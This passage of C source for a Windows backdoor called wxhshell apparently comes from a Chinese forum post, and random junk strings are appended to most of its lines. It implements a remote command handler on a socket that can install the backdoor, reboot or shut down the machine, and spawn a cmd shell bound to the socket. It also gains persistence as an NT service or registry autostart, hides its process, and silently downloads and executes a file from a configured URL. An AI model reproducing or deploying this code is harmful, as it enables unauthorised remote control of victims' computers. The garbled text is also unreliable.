);{76  
    switch(cmd[0]) { ;#=y5Q4  
  '`j MNKn\  
  // 帮助 OV`li#H  
  case '?': { J:G{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W&7(  
    break; goc; .~?  
  } eQ<G Nvm  
  // 安装 .M0pb^M  
  case 'i': { bSa]={}L(  
    if(Install()) <tdsUh:?&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l0eh}d  
    else k=9k4l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >]kZ2gVt  
    break; ow;a7  
    } s`=&l  
  // 卸载 !{vZvy"  
  case 'r': { Pb<6-Jc[  
    if(Uninstall()) on 4 $n7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6E9o*YSk  
    else a0 's6C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4)Ew rU  
    break; L$^)QxH7  
    } x^McUfdr|  
  // 显示 wxhshell 所在路径 =]o2{d  
  case 'p': { Uurpho_~  
    char svExeFile[MAX_PATH]; #I#_gjJkx  
    strcpy(svExeFile,"\n\r"); K4b2)8  
      strcat(svExeFile,ExeFile); [XkWPx`  
        send(wsh,svExeFile,strlen(svExeFile),0); 3U*4E?g  
    break; L;fz7?_j  
    } vd/BO  
  // 重启 |}@teN^J*U  
  case 'b': { %yK- Q,'O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .2y @@g  
    if(Boot(REBOOT)) n!U1cB{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B/B`=%~5_^  
    else { WLH ;{  
    closesocket(wsh); 4@0Z<8Mo  
    ExitThread(0); CIz_v.&:  
    } QV -ZP'e^  
    break; Rb0{W]opt+  
    } y2nT)nL  
  // 关机 \"d\b><R  
  case 'd': { sTvw@o *  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Fe2t[y:8h  
    if(Boot(SHUTDOWN)) <2wC)l3j*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TRr%]qd{Hr  
    else { #-l+c u{  
    closesocket(wsh); dwb^z+   
    ExitThread(0); vnqLcNB H  
    } &Y3ZGRT  
    break; XE#$|Z  
    } r+tHVh  
  // 获取shell H%{k.#O  
  case 's': { 9&s>RJ  
    CmdShell(wsh); 28j/K=0(  
    closesocket(wsh); )ib$*dmUP  
    ExitThread(0); ^ZFK:|Ju  
    break; 3~Ll<8fv  
  } I(b]V!mj:  
  // 退出 O"wo&5b_  
  case 'x': { ADA}_|O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wWM[Hus  
    CloseIt(wsh); {D8yqO A}  
    break; 'ZAIe7i&  
    } s\ Ln  
  // 离开 GQ sE5Vb  
  case 'q': { ssl.Y!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :mt<]Oy3  
    closesocket(wsh); Lzx2An@R  
    WSACleanup(); t(}g;O-  
    exit(1); w Ju9.  
    break; gOMy8w4>  
        } LtV,djk  
  } 2"WP>>b80  
  } Sa/]81 aG  
@QE&D+NS  
  // 提示信息 D58RHgY[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T/:6Z  
} D5Z)"~'  
  } WwUHHm<v  
q9c-UQB(!  
  return; *d31fBCk%  
} fr}.#~{5Y  
fh` }~ aQ  
// shell模块句柄 4~2 9,  
int CmdShell(SOCKET sock) @h(Z;  
{ x:c'ek  
STARTUPINFO si; -?-yeJP2  
ZeroMemory(&si,sizeof(si)); "*:?m{w5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :k2 J &@8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mZ.gS1Dq  
PROCESS_INFORMATION ProcessInfo;  )|W6Z  
char cmdline[]="cmd"; bmh@SB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #"C!-kS'=  
  return 0; @.,'A[D!K  
} 2'Raj'2S4  
bGK-?BE5+A  
// 自身启动模式 &PX!'%X68h  
int StartFromService(void) #}Bv/`t  
{ n*Hx"2XF  
typedef struct ! 6R|  
{ /JIVp_-p  
  DWORD ExitStatus; W{1l?Wo  
  DWORD PebBaseAddress;  O`Htdnu  
  DWORD AffinityMask; i8%Z(@_`  
  DWORD BasePriority; 8C*xrg#g:  
  ULONG UniqueProcessId; "V5_B^Gzb]  
  ULONG InheritedFromUniqueProcessId; "![KQ  
}   PROCESS_BASIC_INFORMATION; Y oZd,} i  
=w<iYO  
PROCNTQSIP NtQueryInformationProcess; D;OPsNQ  
}H/94]~tH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *2/6fhI[p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]deO\mB  
Wxgs66   
  HANDLE             hProcess; w9Nk8OsL  
  PROCESS_BASIC_INFORMATION pbi; /K;AbE  
X?]Mzcu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AjsjYThV  
  if(NULL == hInst ) return 0; [q^pMH#U"  
BF"eVKA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z/;hbbG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qat'Vj,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kmt+E'^]  
[=:4^S|M  
  if (!NtQueryInformationProcess) return 0; rLbFaLeQ  
'=d y =  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rMJ4w['J=  
  if(!hProcess) return 0; ~se ;L  
xscR Bx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S<5.}cR  
gL1r"&^L  
  CloseHandle(hProcess); @?</8;%3W  
C*Q x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bHzZ4i  
if(hProcess==NULL) return 0; CljEC1S#  
F |_mCwA  
HMODULE hMod; `g{eWY1l  
char procName[255]; S-brV\v7  
unsigned long cbNeeded; o+\?E.%%g  
YT@N$kOg_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k;.<DN  
5KssfI a  
  CloseHandle(hProcess); 3>^B%qg6  
qLB(Th\&'  
if(strstr(procName,"services")) return 1; // 以服务启动 ON"V`_dq+M  
`2'*E\   
  return 0; // 注册表启动 fi6_yFl  
} 5=!aq\ 5  
!V/p.O  
// 主模块 b+BX >$  
int StartWxhshell(LPSTR lpCmdLine) , - _ReL  
{ lPz5.(5'  
  SOCKET wsl; g$8a B{)  
BOOL val=TRUE; be.Kx< I  
  int port=0; Bv`3T Af2  
  struct sockaddr_in door; > !HC ?  
w Qp{z  
  if(wscfg.ws_autoins) Install(); +jp^  
u_$Spbc]/  
port=atoi(lpCmdLine); [wJl]i  
d UiS0Qs}  
if(port<=0) port=wscfg.ws_port; utw@5  
Q\$cBSJC1  
  WSADATA data; ralU9MN.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1{wOjq(4  
}5"19 Go?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P"c7h7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +L#):xr  
  door.sin_family = AF_INET; y;HJ"5.Mw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !|#1z}(  
  door.sin_port = htons(port); 1;+(HB  
.PJ_1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N)$yBzN  
closesocket(wsl); h,'m*@Eg  
return 1; ;p)fW/<  
} 1 BVpv7@  
5W?r04  
  if(listen(wsl,2) == INVALID_SOCKET) { =[^_x+x hE  
closesocket(wsl); bC]GL$ph9*  
return 1; Gt?ckMB  
} [2ZZPY9?Q  
  Wxhshell(wsl); 26c1Yl,DMn  
  WSACleanup(); oJEjg>%n  
p:^;A/D  
return 0; n!\&X9%[8  
3 ?DM AV  
} ^2um.`8  
uY=}w"Db  
// 以NT服务方式启动 [a1}r=6~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |70L h+  
{ }!RFX)T  
DWORD   status = 0; w.H\j9E l  
  DWORD   specificError = 0xfffffff; 4 5\%2un  
6 {tW$q  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  &+Pcu5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0sKY;(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [.`#N1-@M  
  serviceStatus.dwWin32ExitCode     = 0; ]i@VIvYq  
  serviceStatus.dwServiceSpecificExitCode = 0; #N"K4@]{  
  serviceStatus.dwCheckPoint       = 0; {sL(PS.z  
  serviceStatus.dwWaitHint       = 0; d.uJ}=|  
bPtbU :G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A?*_14&  
  if (hServiceStatusHandle==0) return; j:{d'OV  
W.AN0N  
status = GetLastError(); `$D2w|  
  if (status!=NO_ERROR) ~?n)1Vr|  
{ /xRPQ|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]`x\Oj &  
    serviceStatus.dwCheckPoint       = 0; M&iA^Wrs  
    serviceStatus.dwWaitHint       = 0; VZ8HnNAbX  
    serviceStatus.dwWin32ExitCode     = status; 3M{/9rR[  
    serviceStatus.dwServiceSpecificExitCode = specificError; +kKfx!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Iz\IQa  
    return; D=nuK25  
  } 1[vmK,N=E  
3N,!y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =@>[  
  serviceStatus.dwCheckPoint       = 0; ggUJ -M'2h  
  serviceStatus.dwWaitHint       = 0; NK+iLXC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jnuovM!x~  
} "7pd(p *C  
.^S#h (A  
// 处理NT服务事件,比如:启动、停止 Py[Z9KLX  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  CKv [E  
{ 9ci=]C5o3K  
switch(fdwControl) V[Jd1T  
{ KS/1ux4x  
case SERVICE_CONTROL_STOP: hYW<4{Gjr  
  serviceStatus.dwWin32ExitCode = 0; {%5tqF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t YmR<^  
  serviceStatus.dwCheckPoint   = 0; GyOo$FW  
  serviceStatus.dwWaitHint     = 0; d aIt `}s  
  { ttPa[h{!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q*oUd/F8  
  } ]3C&l+m$ot  
  return; <[2]p\rj  
case SERVICE_CONTROL_PAUSE: 6U k[_)1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V Z[[zYe  
  break; /u }AgIb  
case SERVICE_CONTROL_CONTINUE: p-zWfXn!P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Wm nsD!  
  break; D84`#Xbi  
case SERVICE_CONTROL_INTERROGATE: SR#X\AWM  
  break; xoD5z<<  
}; }MDuQP]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8Vj]whE  
} y_$=Pu6H  
*K6 V$_{S  
// 标准应用程序主函数 =~% B}T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [EDw0e  
{ 0sq1SHI{  
Y B@\"|}  
// 获取操作系统版本 :Xv3< rS<  
OsIsNt=GetOsVer(); 6|m1z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %Ysu613mz  
c xdhG"  
  // 从命令行安装 u2^ oXl  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?w1_.m|8u  
SeBbI&Ju  
  // 下载执行文件 .9WJ/RKZ\D  
if(wscfg.ws_downexe) { >A|6 kzC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pO$`(+q[  
  WinExec(wscfg.ws_filenam,SW_HIDE); qx<`Kc4  
} lcij}-z:%e  
Xi_>hL+R(  
if(!OsIsNt) { |<\L B  
// 如果时win9x,隐藏进程并且设置为注册表启动 G6xdGUM  
HideProc(); |C@)#.nm[  
StartWxhshell(lpCmdLine); Y'-BKZv!  
} Z mF}pa,gd  
else o|Obl@CSBD  
  if(StartFromService()) B3u5EgZr  
  // 以服务方式启动 u4NMJnX  
  StartServiceCtrlDispatcher(DispatchTable); Aj.TX%}`h  
else Nhn5 iN1*  
  // 普通方式启动 H1f){L97wR  
  StartWxhshell(lpCmdLine); X%xX3e'  
D Y($  
return 0; UXoaUW L  
}
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只看该作者 1 发表于: 2006-10-10
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